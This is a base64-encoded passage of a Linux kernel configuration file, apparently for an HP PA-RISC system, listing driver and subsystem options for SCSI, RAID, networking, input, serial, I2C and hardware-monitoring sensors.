cGUsIENELVJPTSkKIwpDT05GSUdfQkxLX0RFVl9TRD15CkNPTkZJR19DSFJfREVWX1NUPXkKIyBD
T05GSUdfQ0hSX0RFVl9PU1NUIGlzIG5vdCBzZXQKQ09ORklHX0JMS19ERVZfU1I9eQojIENPTkZJ
R19CTEtfREVWX1NSX1ZFTkRPUiBpcyBub3Qgc2V0CkNPTkZJR19DSFJfREVWX1NHPXkKIyBDT05G
SUdfQ0hSX0RFVl9TQ0ggaXMgbm90IHNldApDT05GSUdfU0NTSV9FTkNMT1NVUkU9bQoKIwojIFNv
bWUgU0NTSSBkZXZpY2VzIChlLmcuIENEIGp1a2Vib3gpIHN1cHBvcnQgbXVsdGlwbGUgTFVOcwoj
CiMgQ09ORklHX1NDU0lfTVVMVElfTFVOIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9DT05TVEFO
VFMgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0xPR0dJTkcgaXMgbm90IHNldAojIENPTkZJR19T
Q1NJX1NDQU5fQVNZTkMgaXMgbm90IHNldApDT05GSUdfU0NTSV9XQUlUX1NDQU49bQoKIwojIFND
U0kgVHJhbnNwb3J0cwojCkNPTkZJR19TQ1NJX1NQSV9BVFRSUz15CiMgQ09ORklHX1NDU0lfRkNf
QVRUUlMgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0lTQ1NJX0FUVFJTIGlzIG5vdCBzZXQKIyBD
T05GSUdfU0NTSV9TQVNfTElCU0FTIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9TUlBfQVRUUlMg
aXMgbm90IHNldApDT05GSUdfU0NTSV9MT1dMRVZFTD15CiMgQ09ORklHX0lTQ1NJX1RDUCBpcyBu
b3Qgc2V0CiMgQ09ORklHX0JMS19ERVZfM1dfWFhYWF9SQUlEIGlzIG5vdCBzZXQKIyBDT05GSUdf
U0NTSV8zV185WFhYIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9BQ0FSRCBpcyBub3Qgc2V0CiMg
Q09ORklHX1NDU0lfQUhBMTc0MCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfQUFDUkFJRCBpcyBu
b3Qgc2V0CiMgQ09ORklHX1NDU0lfQUlDN1hYWCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfQUlD
N1hYWF9PTEQgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0FJQzc5WFggaXMgbm90IHNldAojIENP
TkZJR19TQ1NJX0FJQzk0WFggaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0RQVF9JMk8gaXMgbm90
IHNldAojIENPTkZJR19TQ1NJX0FEVkFOU1lTIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9BUkNN
U1IgaXMgbm90IHNldAojIENPTkZJR19NRUdBUkFJRF9ORVdHRU4gaXMgbm90IHNldAojIENPTkZJ
R19NRUdBUkFJRF9MRUdBQ1kgaXMgbm90IHNldAojIENPTkZJR19NRUdBUkFJRF9TQVMgaXMgbm90
IHNldAojIENPTkZJR19TQ1NJX0hQVElPUCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfRE1YMzE5
MUQgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0ZVVFVSRV9ET01BSU4gaXMgbm90IHNldAojIENP
TkZJR19TQ1NJX0lQUyBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfSU5JVElPIGlzIG5vdCBzZXQK
IyBDT05GSUdfU0NTSV9JTklBMTAwIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9QUEEgaXMgbm90
IHNldAojIENPTkZJR19TQ1NJX0lNTSBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfTVZTQVMgaXMg
bm90IHNldAojIENPTkZJR19TQ1NJX0xBU0k3MDAgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX1NU
RVggaXMgbm90IHNldApDT05GSUdfU0NTSV9TWU01M0M4WFhfMj15CkNPTkZJR19TQ1NJX1NZTTUz
QzhYWF9ETUFfQUREUkVTU0lOR19NT0RFPTEKQ09ORklHX1NDU0lfU1lNNTNDOFhYX0RFRkFVTFRf
VEFHUz0xNgpDT05GSUdfU0NTSV9TWU01M0M4WFhfTUFYX1RBR1M9NjQKQ09ORklHX1NDU0lfU1lN
NTNDOFhYX01NSU89eQojIENPTkZJR19TQ1NJX1pBTE9OIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NT
SV9RTE9HSUNfMTI4MCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfUUxBX0ZDIGlzIG5vdCBzZXQK
IyBDT05GSUdfU0NTSV9RTEFfSVNDU0kgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0xQRkMgaXMg
bm90IHNldAojIENPTkZJR19TQ1NJX1NJTTcxMCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfREMz
OTV4IGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9EQzM5MFQgaXMgbm90IHNldAojIENPTkZJR19T
Q1NJX05TUDMyIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9ERUJVRyBpcyBub3Qgc2V0CkNPTkZJ
R19TQ1NJX1NSUD1tCiMgQ09ORklHX1NDU0lfREggaXMgbm90IHNldAojIENPTkZJR19BVEEgaXMg
bm90IHNldApDT05GSUdfTUQ9eQpDT05GSUdfQkxLX0RFVl9NRD1tCkNPTkZJR19NRF9MSU5FQVI9
bQpDT05GSUdfTURfUkFJRDA9bQpDT05GSUdfTURfUkFJRDE9bQpDT05GSUdfTURfUkFJRDEwPW0K
Q09ORklHX01EX1JBSUQ0NTY9bQpDT05GSUdfTURfUkFJRDVfUkVTSEFQRT15CkNPTkZJR19NRF9N
VUxUSVBBVEg9bQpDT05GSUdfTURfRkFVTFRZPW0KQ09ORklHX0JMS19ERVZfRE09bQojIENPTkZJ
R19ETV9ERUJVRyBpcyBub3Qgc2V0CkNPTkZJR19ETV9DUllQVD1tCkNPTkZJR19ETV9TTkFQU0hP
VD1tCkNPTkZJR19ETV9NSVJST1I9bQpDT05GSUdfRE1fWkVSTz1tCkNPTkZJR19ETV9NVUxUSVBB
VEg9bQojIENPTkZJR19ETV9ERUxBWSBpcyBub3Qgc2V0CiMgQ09ORklHX0RNX1VFVkVOVCBpcyBu
b3Qgc2V0CiMgQ09ORklHX0ZVU0lPTiBpcyBub3Qgc2V0CgojCiMgSUVFRSAxMzk0IChGaXJlV2ly
ZSkgc3VwcG9ydAojCgojCiMgRW5hYmxlIG9ubHkgb25lIG9mIHRoZSB0d28gc3RhY2tzLCB1bmxl
c3MgeW91IGtub3cgd2hhdCB5b3UgYXJlIGRvaW5nCiMKQ09ORklHX0ZJUkVXSVJFPW0KQ09ORklH
X0ZJUkVXSVJFX09IQ0k9bQpDT05GSUdfRklSRVdJUkVfT0hDSV9ERUJVRz15CkNPTkZJR19GSVJF
V0lSRV9TQlAyPW0KIyBDT05GSUdfSUVFRTEzOTQgaXMgbm90IHNldAojIENPTkZJR19JMk8gaXMg
bm90IHNldApDT05GSUdfTkVUREVWSUNFUz15CiMgQ09ORklHX0RVTU1ZIGlzIG5vdCBzZXQKIyBD
T05GSUdfQk9ORElORyBpcyBub3Qgc2V0CiMgQ09ORklHX01BQ1ZMQU4gaXMgbm90IHNldAojIENP
TkZJR19FUVVBTElaRVIgaXMgbm90IHNldApDT05GSUdfVFVOPW0KIyBDT05GSUdfVkVUSCBpcyBu
b3Qgc2V0CiMgQ09ORklHX0FSQ05FVCBpcyBub3Qgc2V0CiMgQ09ORklHX1BIWUxJQiBpcyBub3Qg
c2V0CkNPTkZJR19ORVRfRVRIRVJORVQ9eQpDT05GSUdfTUlJPXkKQ09ORklHX0xBU0lfODI1OTY9
eQojIENPTkZJR19IQVBQWU1FQUwgaXMgbm90IHNldAojIENPTkZJR19TVU5HRU0gaXMgbm90IHNl
dAojIENPTkZJR19DQVNTSU5JIGlzIG5vdCBzZXQKIyBDT05GSUdfTkVUX1ZFTkRPUl8zQ09NIGlz
IG5vdCBzZXQKIyBDT05GSUdfTkVUX1ZFTkRPUl9TTUMgaXMgbm90IHNldApDT05GSUdfTkVUX1RV
TElQPXkKIyBDT05GSUdfREUyMTA0WCBpcyBub3Qgc2V0CkNPTkZJR19UVUxJUD15CiMgQ09ORklH
X1RVTElQX01XSSBpcyBub3Qgc2V0CkNPTkZJR19UVUxJUF9NTUlPPXkKIyBDT05GSUdfVFVMSVBf
TkFQSSBpcyBub3Qgc2V0CiMgQ09ORklHX0RFNFg1IGlzIG5vdCBzZXQKIyBDT05GSUdfV0lOQk9O
RF84NDAgaXMgbm90IHNldAojIENPTkZJR19ETTkxMDIgaXMgbm90IHNldAojIENPTkZJR19VTEk1
MjZYIGlzIG5vdCBzZXQKIyBDT05GSUdfREVQQ0EgaXMgbm90IHNldAojIENPTkZJR19IUDEwMCBp
cyBub3Qgc2V0CiMgQ09ORklHX0lCTV9ORVdfRU1BQ19aTUlJIGlzIG5vdCBzZXQKIyBDT05GSUdf
SUJNX05FV19FTUFDX1JHTUlJIGlzIG5vdCBzZXQKIyBDT05GSUdfSUJNX05FV19FTUFDX1RBSCBp
cyBub3Qgc2V0CiMgQ09ORklHX0lCTV9ORVdfRU1BQ19FTUFDNCBpcyBub3Qgc2V0CiMgQ09ORklH
X0lCTV9ORVdfRU1BQ19OT19GTE9XX0NUUkwgaXMgbm90IHNldAojIENPTkZJR19JQk1fTkVXX0VN
QUNfTUFMX0NMUl9JQ0lOVFNUQVQgaXMgbm90IHNldAojIENPTkZJR19JQk1fTkVXX0VNQUNfTUFM
X0NPTU1PTl9FUlIgaXMgbm90IHNldApDT05GSUdfTkVUX1BDST15CiMgQ09ORklHX1BDTkVUMzIg
aXMgbm90IHNldAojIENPTkZJR19BTUQ4MTExX0VUSCBpcyBub3Qgc2V0CiMgQ09ORklHX0FEQVBU
RUNfU1RBUkZJUkUgaXMgbm90IHNldAojIENPTkZJR19BQzMyMDAgaXMgbm90IHNldAojIENPTkZJ
R19CNDQgaXMgbm90IHNldAojIENPTkZJR19GT1JDRURFVEggaXMgbm90IHNldAojIENPTkZJR19D
Uzg5eDAgaXMgbm90IHNldAojIENPTkZJR19FRVBSTzEwMCBpcyBub3Qgc2V0CiMgQ09ORklHX0Ux
MDAgaXMgbm90IHNldAojIENPTkZJR19MTkUzOTAgaXMgbm90IHNldAojIENPTkZJR19GRUFMTlgg
aXMgbm90IHNldAojIENPTkZJR19OQVRTRU1JIGlzIG5vdCBzZXQKIyBDT05GSUdfTkUyS19QQ0kg
aXMgbm90IHNldAojIENPTkZJR19ORTMyMTAgaXMgbm90IHNldAojIENPTkZJR19FUzMyMTAgaXMg
bm90IHNldAojIENPTkZJR184MTM5Q1AgaXMgbm90IHNldAojIENPTkZJR184MTM5VE9PIGlzIG5v
dCBzZXQKIyBDT05GSUdfUjYwNDAgaXMgbm90IHNldAojIENPTkZJR19TSVM5MDAgaXMgbm90IHNl
dAojIENPTkZJR19FUElDMTAwIGlzIG5vdCBzZXQKIyBDT05GSUdfU1VOREFOQ0UgaXMgbm90IHNl
dAojIENPTkZJR19UTEFOIGlzIG5vdCBzZXQKIyBDT05GSUdfVklBX1JISU5FIGlzIG5vdCBzZXQK
IyBDT05GSUdfU0M5MjAzMSBpcyBub3Qgc2V0CiMgQ09ORklHX05FVF9QT0NLRVQgaXMgbm90IHNl
dAojIENPTkZJR19BVEwyIGlzIG5vdCBzZXQKQ09ORklHX05FVERFVl8xMDAwPXkKIyBDT05GSUdf
QUNFTklDIGlzIG5vdCBzZXQKIyBDT05GSUdfREwySyBpcyBub3Qgc2V0CiMgQ09ORklHX0UxMDAw
IGlzIG5vdCBzZXQKIyBDT05GSUdfRTEwMDBFIGlzIG5vdCBzZXQKIyBDT05GSUdfSVAxMDAwIGlz
IG5vdCBzZXQKIyBDT05GSUdfSUdCIGlzIG5vdCBzZXQKIyBDT05GSUdfTlM4MzgyMCBpcyBub3Qg
c2V0CiMgQ09ORklHX0hBTUFDSEkgaXMgbm90IHNldAojIENPTkZJR19ZRUxMT1dGSU4gaXMgbm90
IHNldAojIENPTkZJR19SODE2OSBpcyBub3Qgc2V0CiMgQ09ORklHX1NJUzE5MCBpcyBub3Qgc2V0
CiMgQ09ORklHX1NLR0UgaXMgbm90IHNldAojIENPTkZJR19TS1kyIGlzIG5vdCBzZXQKIyBDT05G
SUdfVklBX1ZFTE9DSVRZIGlzIG5vdCBzZXQKIyBDT05GSUdfVElHT04zIGlzIG5vdCBzZXQKIyBD
T05GSUdfQk5YMiBpcyBub3Qgc2V0CiMgQ09ORklHX1FMQTNYWFggaXMgbm90IHNldAojIENPTkZJ
R19BVEwxIGlzIG5vdCBzZXQKIyBDT05GSUdfQVRMMUUgaXMgbm90IHNldAojIENPTkZJR19KTUUg
aXMgbm90IHNldAojIENPTkZJR19ORVRERVZfMTAwMDAgaXMgbm90IHNldAojIENPTkZJR19UUiBp
cyBub3Qgc2V0CgojCiMgV2lyZWxlc3MgTEFOCiMKIyBDT05GSUdfV0xBTl9QUkU4MDIxMSBpcyBu
b3Qgc2V0CiMgQ09ORklHX1dMQU5fODAyMTEgaXMgbm90IHNldAojIENPTkZJR19JV0xXSUZJX0xF
RFMgaXMgbm90IHNldAoKIwojIFVTQiBOZXR3b3JrIEFkYXB0ZXJzCiMKIyBDT05GSUdfVVNCX0NB
VEMgaXMgbm90IHNldAojIENPTkZJR19VU0JfS0FXRVRIIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNC
X1BFR0FTVVMgaXMgbm90IHNldAojIENPTkZJR19VU0JfUlRMODE1MCBpcyBub3Qgc2V0CiMgQ09O
RklHX1VTQl9VU0JORVQgaXMgbm90IHNldAojIENPTkZJR19XQU4gaXMgbm90IHNldAojIENPTkZJ
R19GRERJIGlzIG5vdCBzZXQKIyBDT05GSUdfSElQUEkgaXMgbm90IHNldAojIENPTkZJR19QTElQ
IGlzIG5vdCBzZXQKQ09ORklHX1BQUD1tCkNPTkZJR19QUFBfTVVMVElMSU5LPXkKQ09ORklHX1BQ
UF9GSUxURVI9eQpDT05GSUdfUFBQX0FTWU5DPW0KQ09ORklHX1BQUF9TWU5DX1RUWT1tCkNPTkZJ
R19QUFBfREVGTEFURT1tCkNPTkZJR19QUFBfQlNEQ09NUD1tCkNPTkZJR19QUFBfTVBQRT1tCkNP
TkZJR19QUFBPRT1tCiMgQ09ORklHX1BQUE9MMlRQIGlzIG5vdCBzZXQKIyBDT05GSUdfU0xJUCBp
cyBub3Qgc2V0CkNPTkZJR19TTEhDPW0KIyBDT05GSUdfTkVUX0ZDIGlzIG5vdCBzZXQKQ09ORklH
X05FVENPTlNPTEU9eQojIENPTkZJR19ORVRDT05TT0xFX0RZTkFNSUMgaXMgbm90IHNldApDT05G
SUdfTkVUUE9MTD15CkNPTkZJR19ORVRQT0xMX1RSQVA9eQpDT05GSUdfTkVUX1BPTExfQ09OVFJP
TExFUj15CiMgQ09ORklHX0lTRE4gaXMgbm90IHNldAojIENPTkZJR19QSE9ORSBpcyBub3Qgc2V0
CgojCiMgSW5wdXQgZGV2aWNlIHN1cHBvcnQKIwpDT05GSUdfSU5QVVQ9eQpDT05GSUdfSU5QVVRf
RkZfTUVNTEVTUz1tCiMgQ09ORklHX0lOUFVUX1BPTExERVYgaXMgbm90IHNldAoKIwojIFVzZXJs
YW5kIGludGVyZmFjZXMKIwpDT05GSUdfSU5QVVRfTU9VU0VERVY9eQpDT05GSUdfSU5QVVRfTU9V
U0VERVZfUFNBVVg9eQpDT05GSUdfSU5QVVRfTU9VU0VERVZfU0NSRUVOX1g9MTAyNApDT05GSUdf
SU5QVVRfTU9VU0VERVZfU0NSRUVOX1k9NzY4CiMgQ09ORklHX0lOUFVUX0pPWURFViBpcyBub3Qg
c2V0CkNPTkZJR19JTlBVVF9FVkRFVj15CiMgQ09ORklHX0lOUFVUX0VWQlVHIGlzIG5vdCBzZXQK
CiMKIyBJbnB1dCBEZXZpY2UgRHJpdmVycwojCkNPTkZJR19JTlBVVF9LRVlCT0FSRD15CkNPTkZJ
R19LRVlCT0FSRF9BVEtCRD15CiMgQ09ORklHX0tFWUJPQVJEX0FUS0JEX0hQX0tFWUNPREVTIGlz
IG5vdCBzZXQKIyBDT05GSUdfS0VZQk9BUkRfU1VOS0JEIGlzIG5vdCBzZXQKIyBDT05GSUdfS0VZ
Qk9BUkRfTEtLQkQgaXMgbm90IHNldAojIENPTkZJR19LRVlCT0FSRF9YVEtCRCBpcyBub3Qgc2V0
CiMgQ09ORklHX0tFWUJPQVJEX05FV1RPTiBpcyBub3Qgc2V0CiMgQ09ORklHX0tFWUJPQVJEX1NU
T1dBV0FZIGlzIG5vdCBzZXQKIyBDT05GSUdfS0VZQk9BUkRfSElMX09MRCBpcyBub3Qgc2V0CkNP
TkZJR19LRVlCT0FSRF9ISUw9eQpDT05GSUdfSU5QVVRfTU9VU0U9eQpDT05GSUdfTU9VU0VfUFMy
PW0KQ09ORklHX01PVVNFX1BTMl9BTFBTPXkKQ09ORklHX01PVVNFX1BTMl9MT0dJUFMyUFA9eQpD
T05GSUdfTU9VU0VfUFMyX1NZTkFQVElDUz15CkNPTkZJR19NT1VTRV9QUzJfTElGRUJPT0s9eQpD
T05GSUdfTU9VU0VfUFMyX1RSQUNLUE9JTlQ9eQojIENPTkZJR19NT1VTRV9QUzJfVE9VQ0hLSVQg
aXMgbm90IHNldAojIENPTkZJR19NT1VTRV9TRVJJQUwgaXMgbm90IHNldAojIENPTkZJR19NT1VT
RV9BUFBMRVRPVUNIIGlzIG5vdCBzZXQKIyBDT05GSUdfTU9VU0VfQkNNNTk3NCBpcyBub3Qgc2V0
CiMgQ09ORklHX01PVVNFX1ZTWFhYQUEgaXMgbm90IHNldApDT05GSUdfTU9VU0VfSElMPW0KIyBD
T05GSUdfSU5QVVRfSk9ZU1RJQ0sgaXMgbm90IHNldAojIENPTkZJR19JTlBVVF9UQUJMRVQgaXMg
bm90IHNldAojIENPTkZJR19JTlBVVF9UT1VDSFNDUkVFTiBpcyBub3Qgc2V0CiMgQ09ORklHX0lO
UFVUX01JU0MgaXMgbm90IHNldAoKIwojIEhhcmR3YXJlIEkvTyBwb3J0cwojCkNPTkZJR19TRVJJ
Tz15CkNPTkZJR19TRVJJT19TRVJQT1JUPXkKIyBDT05GSUdfU0VSSU9fUEFSS0JEIGlzIG5vdCBz
ZXQKQ09ORklHX1NFUklPX0dTQ1BTMj15CkNPTkZJR19IUF9TREM9eQpDT05GSUdfSElMX01MQz15
CiMgQ09ORklHX1NFUklPX1BDSVBTMiBpcyBub3Qgc2V0CkNPTkZJR19TRVJJT19MSUJQUzI9eQoj
IENPTkZJR19TRVJJT19SQVcgaXMgbm90IHNldAojIENPTkZJR19HQU1FUE9SVCBpcyBub3Qgc2V0
CgojCiMgQ2hhcmFjdGVyIGRldmljZXMKIwpDT05GSUdfVlQ9eQpDT05GSUdfQ09OU09MRV9UUkFO
U0xBVElPTlM9eQpDT05GSUdfVlRfQ09OU09MRT15CkNPTkZJR19IV19DT05TT0xFPXkKIyBDT05G
SUdfVlRfSFdfQ09OU09MRV9CSU5ESU5HIGlzIG5vdCBzZXQKQ09ORklHX0RFVktNRU09eQojIENP
TkZJR19TRVJJQUxfTk9OU1RBTkRBUkQgaXMgbm90IHNldAojIENPTkZJR19OT1pPTUkgaXMgbm90
IHNldAoKIwojIFNlcmlhbCBkcml2ZXJzCiMKQ09ORklHX1NFUklBTF84MjUwPXkKQ09ORklHX1NF
UklBTF84MjUwX0NPTlNPTEU9eQpDT05GSUdfU0VSSUFMXzgyNTBfR1NDPXkKQ09ORklHX1NFUklB
TF84MjUwX1BDST15CkNPTkZJR19TRVJJQUxfODI1MF9OUl9VQVJUUz0xNwpDT05GSUdfU0VSSUFM
XzgyNTBfUlVOVElNRV9VQVJUUz00CkNPTkZJR19TRVJJQUxfODI1MF9FWFRFTkRFRD15CkNPTkZJ
R19TRVJJQUxfODI1MF9NQU5ZX1BPUlRTPXkKQ09ORklHX1NFUklBTF84MjUwX1NIQVJFX0lSUT15
CiMgQ09ORklHX1NFUklBTF84MjUwX0RFVEVDVF9JUlEgaXMgbm90IHNldAojIENPTkZJR19TRVJJ
QUxfODI1MF9SU0EgaXMgbm90IHNldAoKIwojIE5vbi04MjUwIHNlcmlhbCBwb3J0IHN1cHBvcnQK
IwpDT05GSUdfU0VSSUFMX01VWD15CkNPTkZJR19TRVJJQUxfTVVYX0NPTlNPTEU9eQpDT05GSUdf
U0VSSUFMX0NPUkU9eQpDT05GSUdfU0VSSUFMX0NPUkVfQ09OU09MRT15CiMgQ09ORklHX1NFUklB
TF9KU00gaXMgbm90IHNldApDT05GSUdfVU5JWDk4X1BUWVM9eQpDT05GSUdfTEVHQUNZX1BUWVM9
eQpDT05GSUdfTEVHQUNZX1BUWV9DT1VOVD0yNTYKQ09ORklHX1BSSU5URVI9bQojIENPTkZJR19M
UF9DT05TT0xFIGlzIG5vdCBzZXQKQ09ORklHX1BQREVWPW0KIyBDT05GSUdfSVBNSV9IQU5ETEVS
IGlzIG5vdCBzZXQKIyBDT05GSUdfSFdfUkFORE9NIGlzIG5vdCBzZXQKIyBDT05GSUdfUjM5NjQg
aXMgbm90IHNldAojIENPTkZJR19BUFBMSUNPTSBpcyBub3Qgc2V0CiMgQ09ORklHX1JBV19EUklW
RVIgaXMgbm90IHNldAojIENPTkZJR19UQ0dfVFBNIGlzIG5vdCBzZXQKQ09ORklHX0RFVlBPUlQ9
eQpDT05GSUdfSTJDPW0KQ09ORklHX0kyQ19CT0FSRElORk89eQpDT05GSUdfSTJDX0NIQVJERVY9
bQpDT05GSUdfSTJDX0hFTFBFUl9BVVRPPXkKQ09ORklHX0kyQ19BTEdPQklUPW0KCiMKIyBJMkMg
SGFyZHdhcmUgQnVzIHN1cHBvcnQKIwoKIwojIFBDIFNNQnVzIGhvc3QgY29udHJvbGxlciBkcml2
ZXJzCiMKQ09ORklHX0kyQ19BTEkxNTM1PW0KQ09ORklHX0kyQ19BTEkxNTYzPW0KQ09ORklHX0ky
Q19BTEkxNVgzPW0KQ09ORklHX0kyQ19BTUQ3NTY9bQpDT05GSUdfSTJDX0FNRDgxMTE9bQpDT05G
SUdfSTJDX0k4MDE9bQojIENPTkZJR19JMkNfSVNDSCBpcyBub3Qgc2V0CkNPTkZJR19JMkNfUElJ
WDQ9bQpDT05GSUdfSTJDX05GT1JDRTI9bQpDT05GSUdfSTJDX1NJUzU1OTU9bQpDT05GSUdfSTJD
X1NJUzYzMD1tCkNPTkZJR19JMkNfU0lTOTZYPW0KQ09ORklHX0kyQ19WSUE9bQpDT05GSUdfSTJD
X1ZJQVBSTz1tCgojCiMgSTJDIHN5c3RlbSBidXMgZHJpdmVycyAobW9zdGx5IGVtYmVkZGVkIC8g
c3lzdGVtLW9uLWNoaXApCiMKQ09ORklHX0kyQ19PQ09SRVM9bQojIENPTkZJR19JMkNfU0lNVEVD
IGlzIG5vdCBzZXQKCiMKIyBFeHRlcm5hbCBJMkMvU01CdXMgYWRhcHRlciBkcml2ZXJzCiMKQ09O
RklHX0kyQ19QQVJQT1JUPW0KQ09ORklHX0kyQ19QQVJQT1JUX0xJR0hUPW0KIyBDT05GSUdfSTJD
X1RBT1NfRVZNIGlzIG5vdCBzZXQKIyBDT05GSUdfSTJDX1RJTllfVVNCIGlzIG5vdCBzZXQKCiMK
IyBHcmFwaGljcyBhZGFwdGVyIEkyQy9EREMgY2hhbm5lbCBkcml2ZXJzCiMKQ09ORklHX0kyQ19W
T09ET08zPW0KCiMKIyBPdGhlciBJMkMvU01CdXMgYnVzIGRyaXZlcnMKIwojIENPTkZJR19JMkNf
UENBX1BMQVRGT1JNIGlzIG5vdCBzZXQKQ09ORklHX0kyQ19TVFVCPW0KCiMKIyBNaXNjZWxsYW5l
b3VzIEkyQyBDaGlwIHN1cHBvcnQKIwojIENPTkZJR19EUzE2ODIgaXMgbm90IHNldAojIENPTkZJ
R19BVDI0IGlzIG5vdCBzZXQKQ09ORklHX1NFTlNPUlNfRUVQUk9NPW0KQ09ORklHX1NFTlNPUlNf
UENGODU3ND1tCkNPTkZJR19QQ0Y4NTc1PW0KIyBDT05GSUdfU0VOU09SU19QQ0E5NTM5IGlzIG5v
dCBzZXQKQ09ORklHX1NFTlNPUlNfUENGODU5MT1tCkNPTkZJR19TRU5TT1JTX01BWDY4NzU9bQoj
IENPTkZJR19TRU5TT1JTX1RTTDI1NTAgaXMgbm90IHNldAojIENPTkZJR19JMkNfREVCVUdfQ09S
RSBpcyBub3Qgc2V0CiMgQ09ORklHX0kyQ19ERUJVR19BTEdPIGlzIG5vdCBzZXQKIyBDT05GSUdf
STJDX0RFQlVHX0JVUyBpcyBub3Qgc2V0CiMgQ09ORklHX0kyQ19ERUJVR19DSElQIGlzIG5vdCBz
ZXQKIyBDT05GSUdfU1BJIGlzIG5vdCBzZXQKIyBDT05GSUdfVzEgaXMgbm90IHNldAojIENPTkZJ
R19QT1dFUl9TVVBQTFkgaXMgbm90IHNldApDT05GSUdfSFdNT049bQpDT05GSUdfSFdNT05fVklE
PW0KQ09ORklHX1NFTlNPUlNfQUQ3NDE0PW0KQ09ORklHX1NFTlNPUlNfQUQ3NDE4PW0KQ09ORklH
X1NFTlNPUlNfQURNMTAyMT1tCkNPTkZJR19TRU5TT1JTX0FETTEwMjU9bQpDT05GSUdfU0VOU09S
U19BRE0xMDI2PW0KQ09ORklHX1NFTlNPUlNfQURNMTAyOT1tCkNPTkZJR19TRU5TT1JTX0FETTEw
MzE9bQpDT05GSUdfU0VOU09SU19BRE05MjQwPW0KQ09ORklHX1NFTlNPUlNfQURUNzQ3MD1tCkNP
TkZJR19TRU5TT1JTX0FEVDc0NzM9bQpDT05GSUdfU0VOU09SU19BVFhQMT1tCkNPTkZJR19TRU5T
T1JTX0RTMTYyMT1tCiMgQ09ORklHX1NFTlNPUlNfSTVLX0FNQiBpcyBub3Qgc2V0CkNPTkZJR19T
RU5TT1JTX0Y3MTgwNUY9bQojIENPTkZJR19TRU5TT1JTX0Y3MTg4MkZHIGlzIG5vdCBzZXQKIyBD
T05GSUdfU0VOU09SU19GNzUzNzVTIGlzIG5vdCBzZXQKQ09ORklHX1NFTlNPUlNfR0w1MThTTT1t
CkNPTkZJR19TRU5TT1JTX0dMNTIwU009bQpDT05GSUdfU0VOU09SU19JVDg3PW0KQ09ORklHX1NF
TlNPUlNfTE02Mz1tCkNPTkZJR19TRU5TT1JTX0xNNzU9bQpDT05GSUdfU0VOU09SU19MTTc3PW0K
Q09ORklHX1NFTlNPUlNfTE03OD1tCkNPTkZJR19TRU5TT1JTX0xNODA9bQpDT05GSUdfU0VOU09S
U19MTTgzPW0KQ09ORklHX1NFTlNPUlNfTE04NT1tCkNPTkZJR19TRU5TT1JTX0xNODc9bQpDT05G
SUdfU0VOU09SU19MTTkwPW0KQ09ORklHX1NFTlNPUlNfTE05Mj1tCkNPTkZJR19TRU5TT1JTX0xN
OTM9bQpDT05GSUdfU0VOU09SU19NQVgxNjE5PW0KQ09ORklHX1NFTlNPUlNfTUFYNjY1MD1tCkNP
TkZJR19TRU5TT1JTX1BDODczNjA9bQpDT05GSUdfU0VOU09SU19QQzg3NDI3PW0KQ09ORklHX1NF
TlNPUlNfU0lTNTU5NT1tCkNPTkZJR19TRU5TT1JTX0RNRTE3Mzc9bQpDT05GSUdfU0VOU09SU19T
TVNDNDdNMT1tCkNPTkZJR19TRU5TT1JTX1NNU0M0N00xOTI9bQpDT05GSUdfU0VOU09SU19TTVND
NDdCMzk3PW0KQ09ORklHX1NFTlNPUlNfQURTNzgyOD1tCkNPTkZJR19TRU5TT1JTX1RITUM1MD1t
CkNPTkZJR19TRU5TT1JTX1ZJQTY4NkE9bQpDT05GSUdfU0VOU09SU19WVDEyMTE9bQpDT05GSUdf
U0VOU09SU19WVDgyMzE9bQpDT05GSUdfU0VOU09SU19XODM3ODFEPW0KQ09ORklHX1NFTlNPUlNf
VzgzNzkxRD1tCkNPTkZJR19TRU5TT1JTX1c4Mzc5MkQ9bQpDT05GSUdfU0VOU09SU19XODM3OTM9
bQpDT05GSUdfU0VOU09SU19XODNMNzg1VFM9bQpDT05GSUdfU0VOU09SU19XODNMNzg2Tkc9bQpD
T05GSUdfU0VOU09SU19XODM2MjdIRj1tCkNPTkZJR19TRU5TT1JTX1c4MzYyN0VIRj1tCiMgQ09O
RklHX0hXTU9OX0RFQlVHX0NISVAgaXMgbm90IHNldAojIENPTkZJR19USEVSTUFMIGlzIG5vdCBz
ZXQKIyBDT05GSUdfV0FUQ0hET0cgaXMgbm90IHNldAoKIwojIFNvbmljcyBTaWxpY29uIEJhY2tw
bGFuZQojCkNPTkZJR19TU0JfUE9TU0lCTEU9eQojIENPTkZJR19TU0IgaXMgbm90IHNldAoKIwoj
IE11bHRpZnVuY3Rpb24gZGV2aWNlIGRyaXZlcnMKIwojIENPTkZJR19NRkRfQ09SRSBpcyBub3Qg
c2V0CiMgQ09ORklHX01GRF9TTTUwMSBpcyBub3Qgc2V0CiMgQ09ORklHX0hUQ19QQVNJQzMgaXMg
bm90IHNldAojIENPTkZJR19NRkRfVE1JTyBpcyBub3Qgc2V0CiMgQ09ORklHX01GRF9XTTg0MDAg
aXMgbm90IHNldAojIENPTkZJR19NRkRfV004MzUwX0kyQyBpcyBub3Qgc2V0CgojCiMgTXVsdGlt
ZWRpYSBkZXZpY2VzCiMKCiMKIyBNdWx0aW1lZGlhIGNvcmUgc3VwcG9ydAojCkNPTkZJR19WSURF
T19ERVY9bQpDT05GSUdfVklERU9fVjRMMl9DT01NT049bQpDT05GSUdfVklERU9fQUxMT1dfVjRM
